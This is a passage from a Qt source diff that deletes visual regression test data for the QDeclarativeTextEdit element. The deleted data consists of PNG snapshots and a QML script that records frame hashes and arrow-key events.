- hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 9040 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 9056 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 9072 - hash: "138ec35b850d20664f905a4eea6f7456" - } - Frame { - msec: 9088 - hash: "027eb091eea8bf51d7ad3ff44120e075" - } - Frame { - msec: 9104 - hash: "f4df98459c18399e1c6b2d8a43bdd678" - } - Frame { - msec: 9120 - hash: "a4545a0c50fb071d267b06bf2d114802" - } - Frame { - msec: 9136 - hash: "89efa872ce2e71935b47cac101bf15c9" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/qt-669.0.png b/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/qt-669.0.png deleted file mode 100644 index cc1774f..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/qt-669.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/qt-669.1.png b/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/qt-669.1.png deleted file mode 100644 index 60eba16..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/qt-669.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/qt-669.2.png b/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/qt-669.2.png deleted file mode 100644 index d4663f7..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/qt-669.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/qt-669.3.png b/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/qt-669.3.png deleted file mode 100644 index dc1bb52..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/qt-669.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/qt-669.qml b/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/qt-669.qml deleted file mode 100644 index 84c16e1..0000000 --- a/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/qt-669.qml +++ /dev/null @@ -1,1371 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 32 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 48 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 64 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 80 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 96 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 112 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 128 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 144 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 160 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 176 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 192 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 208 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 224 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 240 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 256 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 272 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 288 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 304 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 320 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 336 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 352 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 368 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 384 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Key { - type: 6 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 400 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 416 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 432 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Key { - type: 7 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 448 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 464 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 480 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 496 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 512 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 528 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Key { - type: 6 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 544 - hash: "fbc07fa31ab2022f3155bd1fb591fe6c" - } - Frame { - msec: 560 - hash: "fbc07fa31ab2022f3155bd1fb591fe6c" - } - Frame { - msec: 576 - hash: "fbc07fa31ab2022f3155bd1fb591fe6c" - } - Key { - type: 7 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 592 - hash: "fbc07fa31ab2022f3155bd1fb591fe6c" - } - Frame { - msec: 608 - hash: "fbc07fa31ab2022f3155bd1fb591fe6c" - } - Frame { - msec: 624 - hash: "fbc07fa31ab2022f3155bd1fb591fe6c" - } - Frame { - msec: 640 - hash: "fbc07fa31ab2022f3155bd1fb591fe6c" - } - Frame { - msec: 656 - hash: "fbc07fa31ab2022f3155bd1fb591fe6c" - } - Frame { - msec: 672 - hash: "fbc07fa31ab2022f3155bd1fb591fe6c" - } - Key { - type: 6 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 688 - hash: "c602a6535ef86125615307d9d187eb3f" - } - Frame { - msec: 704 - hash: "c602a6535ef86125615307d9d187eb3f" - } - Frame { - msec: 720 - hash: "c602a6535ef86125615307d9d187eb3f" - } - Frame { - msec: 736 - hash: "c602a6535ef86125615307d9d187eb3f" - } - Key { - type: 7 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 752 - hash: "c602a6535ef86125615307d9d187eb3f" - } - Frame { - msec: 768 - hash: "c602a6535ef86125615307d9d187eb3f" - } - Frame { - msec: 784 - hash: "c602a6535ef86125615307d9d187eb3f" - } - Frame { - msec: 800 - hash: "c602a6535ef86125615307d9d187eb3f" - } - Frame { - msec: 816 - hash: "c602a6535ef86125615307d9d187eb3f" - } - Key { - type: 6 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 832 - hash: "c186352ed5d1539a45b3c9e1dfa408d6" - } - Frame { - msec: 848 - hash: "c186352ed5d1539a45b3c9e1dfa408d6" - } - Frame { - msec: 864 - hash: "c186352ed5d1539a45b3c9e1dfa408d6" - } - Frame { - msec: 880 - hash: "c186352ed5d1539a45b3c9e1dfa408d6" - } - Key { - type: 7 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 896 - hash: "c186352ed5d1539a45b3c9e1dfa408d6" - } - Frame { - msec: 912 - hash: "c186352ed5d1539a45b3c9e1dfa408d6" - } - Frame { - msec: 928 - hash: "c186352ed5d1539a45b3c9e1dfa408d6" - } - Frame { - msec: 944 - hash: "c186352ed5d1539a45b3c9e1dfa408d6" - } - Key { - type: 6 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 960 - image: "qt-669.0.png" - } - Frame { - msec: 976 - hash: "1295bd1d94fe518d5a871e90cab88e0c" - } - Frame { - msec: 992 - hash: "1295bd1d94fe518d5a871e90cab88e0c" - } - Frame { - msec: 1008 - hash: "1295bd1d94fe518d5a871e90cab88e0c" - } - Key { - type: 7 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1024 - hash: "1295bd1d94fe518d5a871e90cab88e0c" - } - Frame { - msec: 1040 - hash: "1295bd1d94fe518d5a871e90cab88e0c" - } - Frame { - msec: 1056 - hash: "1295bd1d94fe518d5a871e90cab88e0c" - } - Frame { - msec: 1072 - hash: "1295bd1d94fe518d5a871e90cab88e0c" - } - Frame { - msec: 1088 - hash: "1295bd1d94fe518d5a871e90cab88e0c" - } - Key { - type: 6 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1104 - hash: "f90403e0b62f9579b5c5f591e75e9eb5" - } - Frame { - msec: 1120 - hash: "f90403e0b62f9579b5c5f591e75e9eb5" - } - Frame { - msec: 1136 - hash: "f90403e0b62f9579b5c5f591e75e9eb5" - } - Key { - type: 7 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1152 - hash: "f90403e0b62f9579b5c5f591e75e9eb5" - } - Frame { - msec: 1168 - hash: "f90403e0b62f9579b5c5f591e75e9eb5" - } - Frame { - msec: 1184 - hash: "f90403e0b62f9579b5c5f591e75e9eb5" - } - Frame { - msec: 1200 - hash: "f90403e0b62f9579b5c5f591e75e9eb5" - } - Frame { - msec: 1216 - hash: "f90403e0b62f9579b5c5f591e75e9eb5" - } - Key { - type: 6 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1232 - hash: "823ccdc677997c96e4ae16891ffffa77" - } - Frame { - msec: 1248 - hash: "823ccdc677997c96e4ae16891ffffa77" - } - Frame { - msec: 1264 - hash: "823ccdc677997c96e4ae16891ffffa77" - } - Frame { - msec: 1280 - hash: "823ccdc677997c96e4ae16891ffffa77" - } - Key { - type: 7 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1296 - hash: "823ccdc677997c96e4ae16891ffffa77" - } - Frame { - msec: 1312 - hash: "823ccdc677997c96e4ae16891ffffa77" - } - Frame { - msec: 1328 - hash: "823ccdc677997c96e4ae16891ffffa77" - } - Frame { - msec: 1344 - hash: "823ccdc677997c96e4ae16891ffffa77" - } - Key { - type: 6 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1360 - hash: "2718ab36551a20d36664f26e408f8f24" - } - Frame { - msec: 1376 - hash: "2718ab36551a20d36664f26e408f8f24" - } - Frame { - msec: 1392 - hash: "2718ab36551a20d36664f26e408f8f24" - } - Frame { - msec: 1408 - hash: "2718ab36551a20d36664f26e408f8f24" - } - Key { - type: 7 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1424 - hash: "2718ab36551a20d36664f26e408f8f24" - } - Frame { - msec: 1440 - hash: "2718ab36551a20d36664f26e408f8f24" - } - Frame { - msec: 1456 - hash: "2718ab36551a20d36664f26e408f8f24" - } - Frame { - msec: 1472 - hash: "2718ab36551a20d36664f26e408f8f24" - } - Frame { - msec: 1488 - hash: "2718ab36551a20d36664f26e408f8f24" - } - Key { - type: 6 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1504 - hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" - } - Frame { - msec: 1520 - hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" - } - Frame { - msec: 1536 - hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" - } - Key { - type: 7 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1552 - hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" - } - Frame { - msec: 1568 - hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" - } - Frame { - msec: 1584 - hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" - } - Frame { - msec: 1600 - hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" - } - Frame { - msec: 1616 - hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" - } - Frame { - msec: 1632 - hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" - } - Frame { - msec: 1648 - hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" - } - Frame { - msec: 1664 - hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" - } - Frame { - msec: 1680 - hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" - } - Frame { - msec: 1696 - hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" - } - Frame { - msec: 1712 - hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" - } - Frame { - msec: 1728 - hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" - } - Frame { - msec: 1744 - hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" - } - Frame { - msec: 1760 - hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" - } - Frame { - msec: 1776 - hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" - } - Frame { - msec: 1792 - hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" - } - Frame { - msec: 1808 - hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" - } - Frame { - msec: 1824 - hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" - } - Frame { - msec: 1840 - hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" - } - Key { - type: 6 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1856 - hash: "2718ab36551a20d36664f26e408f8f24" - } - Frame { - msec: 1872 - hash: "2718ab36551a20d36664f26e408f8f24" - } - Frame { - msec: 1888 - hash: "2718ab36551a20d36664f26e408f8f24" - } - Frame { - msec: 1904 - hash: "2718ab36551a20d36664f26e408f8f24" - } - Frame { - msec: 1920 - image: "qt-669.1.png" - } - Frame { - msec: 1936 - hash: "2718ab36551a20d36664f26e408f8f24" - } - Frame { - msec: 1952 - hash: "2718ab36551a20d36664f26e408f8f24" - } - Frame { - msec: 1968 - hash: "2718ab36551a20d36664f26e408f8f24" - } - Frame { - msec: 1984 - hash: "2718ab36551a20d36664f26e408f8f24" - } - Key { - type: 7 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2000 - hash: "2718ab36551a20d36664f26e408f8f24" - } - Frame { - msec: 2016 - hash: "2718ab36551a20d36664f26e408f8f24" - } - Frame { - msec: 2032 - hash: "2718ab36551a20d36664f26e408f8f24" - } - Frame { - msec: 2048 - hash: "2718ab36551a20d36664f26e408f8f24" - } - Frame { - msec: 2064 - hash: "2718ab36551a20d36664f26e408f8f24" - } - Key { - type: 6 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2080 - hash: "823ccdc677997c96e4ae16891ffffa77" - } - Frame { - msec: 2096 - hash: "823ccdc677997c96e4ae16891ffffa77" - } - Frame { - msec: 2112 - hash: "823ccdc677997c96e4ae16891ffffa77" - } - Frame { - msec: 2128 - hash: "823ccdc677997c96e4ae16891ffffa77" - } - Frame { - msec: 2144 - hash: "823ccdc677997c96e4ae16891ffffa77" - } - Key { - type: 7 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2160 - hash: "823ccdc677997c96e4ae16891ffffa77" - } - Frame { - msec: 2176 - hash: "823ccdc677997c96e4ae16891ffffa77" - } - Frame { - msec: 2192 - hash: "823ccdc677997c96e4ae16891ffffa77" - } - Frame { - msec: 2208 - hash: "823ccdc677997c96e4ae16891ffffa77" - } - Frame { - msec: 2224 - hash: "823ccdc677997c96e4ae16891ffffa77" - } - Key { - type: 6 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2240 - hash: "f90403e0b62f9579b5c5f591e75e9eb5" - } - Frame { - msec: 2256 - hash: "f90403e0b62f9579b5c5f591e75e9eb5" - } - Key { - type: 7 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2272 - hash: "f90403e0b62f9579b5c5f591e75e9eb5" - } - Frame { - msec: 2288 - hash: "f90403e0b62f9579b5c5f591e75e9eb5" - } - Frame { - msec: 2304 - hash: "f90403e0b62f9579b5c5f591e75e9eb5" - } - Frame { - msec: 2320 - hash: "f90403e0b62f9579b5c5f591e75e9eb5" - } - Frame { - msec: 2336 - hash: "f90403e0b62f9579b5c5f591e75e9eb5" - } - Key { - type: 6 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2352 - hash: "1295bd1d94fe518d5a871e90cab88e0c" - } - Frame { - msec: 2368 - hash: "1295bd1d94fe518d5a871e90cab88e0c" - } - Frame { - msec: 2384 - hash: "1295bd1d94fe518d5a871e90cab88e0c" - } - Key { - type: 7 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2400 - hash: "1295bd1d94fe518d5a871e90cab88e0c" - } - Frame { - msec: 2416 - hash: "1295bd1d94fe518d5a871e90cab88e0c" - } - Frame { - msec: 2432 - hash: "1295bd1d94fe518d5a871e90cab88e0c" - } - Frame { - msec: 2448 - hash: "1295bd1d94fe518d5a871e90cab88e0c" - } - Frame { - msec: 2464 - hash: "1295bd1d94fe518d5a871e90cab88e0c" - } - Frame { - msec: 2480 - hash: "1295bd1d94fe518d5a871e90cab88e0c" - } - Frame { - msec: 2496 - hash: "1295bd1d94fe518d5a871e90cab88e0c" - } - Frame { - msec: 2512 - hash: "1295bd1d94fe518d5a871e90cab88e0c" - } - Frame { - msec: 2528 - hash: "1295bd1d94fe518d5a871e90cab88e0c" - } - Frame { - msec: 2544 - hash: "1295bd1d94fe518d5a871e90cab88e0c" - } - Frame { - msec: 2560 - hash: "1295bd1d94fe518d5a871e90cab88e0c" - } - Frame { - msec: 2576 - hash: "1295bd1d94fe518d5a871e90cab88e0c" - } - Frame { - msec: 2592 - hash: "1295bd1d94fe518d5a871e90cab88e0c" - } - Key { - type: 6 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2608 - hash: "c186352ed5d1539a45b3c9e1dfa408d6" - } - Frame { - msec: 2624 - hash: "c186352ed5d1539a45b3c9e1dfa408d6" - } - Frame { - msec: 2640 - hash: "c186352ed5d1539a45b3c9e1dfa408d6" - } - Frame { - msec: 2656 - hash: "c186352ed5d1539a45b3c9e1dfa408d6" - } - Frame { - msec: 2672 - hash: "c186352ed5d1539a45b3c9e1dfa408d6" - } - Key { - type: 7 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2688 - hash: "c186352ed5d1539a45b3c9e1dfa408d6" - } - Frame { - msec: 2704 - hash: "c186352ed5d1539a45b3c9e1dfa408d6" - } - Frame { - msec: 2720 - hash: "c186352ed5d1539a45b3c9e1dfa408d6" - } - Frame { - msec: 2736 - hash: "c186352ed5d1539a45b3c9e1dfa408d6" - } - Frame { - msec: 2752 - hash: "c186352ed5d1539a45b3c9e1dfa408d6" - } - Key { - type: 6 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2768 - hash: "c602a6535ef86125615307d9d187eb3f" - } - Frame { - msec: 2784 - hash: "c602a6535ef86125615307d9d187eb3f" - } - Frame { - msec: 2800 - hash: "c602a6535ef86125615307d9d187eb3f" - } - Key { - type: 7 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2816 - hash: "c602a6535ef86125615307d9d187eb3f" - } - Frame { - msec: 2832 - hash: "c602a6535ef86125615307d9d187eb3f" - } - Frame { - msec: 2848 - hash: "c602a6535ef86125615307d9d187eb3f" - } - Frame { - msec: 2864 - hash: "c602a6535ef86125615307d9d187eb3f" - } - Key { - type: 6 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2880 - image: "qt-669.2.png" - } - Frame { - msec: 2896 - hash: "fbc07fa31ab2022f3155bd1fb591fe6c" - } - Frame { - msec: 2912 - hash: "fbc07fa31ab2022f3155bd1fb591fe6c" - } - Frame { - msec: 2928 - hash: "fbc07fa31ab2022f3155bd1fb591fe6c" - } - Key { - type: 7 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2944 - hash: "fbc07fa31ab2022f3155bd1fb591fe6c" - } - Frame { - msec: 2960 - hash: "fbc07fa31ab2022f3155bd1fb591fe6c" - } - Frame { - msec: 2976 - hash: "fbc07fa31ab2022f3155bd1fb591fe6c" - } - Frame { - msec: 2992 - hash: "fbc07fa31ab2022f3155bd1fb591fe6c" - } - Frame { - msec: 3008 - hash: "fbc07fa31ab2022f3155bd1fb591fe6c" - } - Key { - type: 6 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 3024 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3040 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3056 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3072 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3088 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Key { - type: 7 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 3104 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3120 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3136 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3152 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3168 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3184 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3200 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3216 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3232 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3248 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3264 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3280 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3296 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3312 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3328 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3344 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3360 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3376 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3392 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3408 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3424 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3440 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3456 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3472 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3488 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3504 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3520 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3536 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3552 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3568 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3584 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3600 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3616 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3632 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3648 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3664 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3680 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Frame { - msec: 3696 - hash: "e64c3246a0f81e2df29ac276ac6d411f" - } - Key { - type: 6 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 3712 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 3728 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 3744 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 3760 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 3776 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 3792 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Key { - type: 7 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 3808 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 3824 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 3840 - image: "qt-669.3.png" - } - Frame { - msec: 3856 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 3872 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 3888 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 3904 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 3920 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 3936 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 3952 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 3968 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 3984 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 4000 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 4016 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 4032 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 4048 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 4064 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 4080 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 4096 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 4112 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 4128 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 4144 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 4160 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 4176 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 4192 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 4208 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 4224 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 4240 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 4256 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 4272 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 4288 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } - Frame { - msec: 4304 - hash: "c043ae4adb31cb53bfc089e7f2ed07b2" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data-X11/wrap.0.png b/tests/auto/declarative/visual/qdeclarativetextedit/data-X11/wrap.0.png deleted file mode 100644 index ec65f49..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data-X11/wrap.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data-X11/wrap.1.png b/tests/auto/declarative/visual/qdeclarativetextedit/data-X11/wrap.1.png deleted file mode 100644 index ec65f49..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data-X11/wrap.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data-X11/wrap.2.png b/tests/auto/declarative/visual/qdeclarativetextedit/data-X11/wrap.2.png deleted file mode 100644 index ec65f49..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data-X11/wrap.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data-X11/wrap.3.png b/tests/auto/declarative/visual/qdeclarativetextedit/data-X11/wrap.3.png deleted file mode 100644 index ec65f49..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data-X11/wrap.3.png and /dev/null differ diff --git 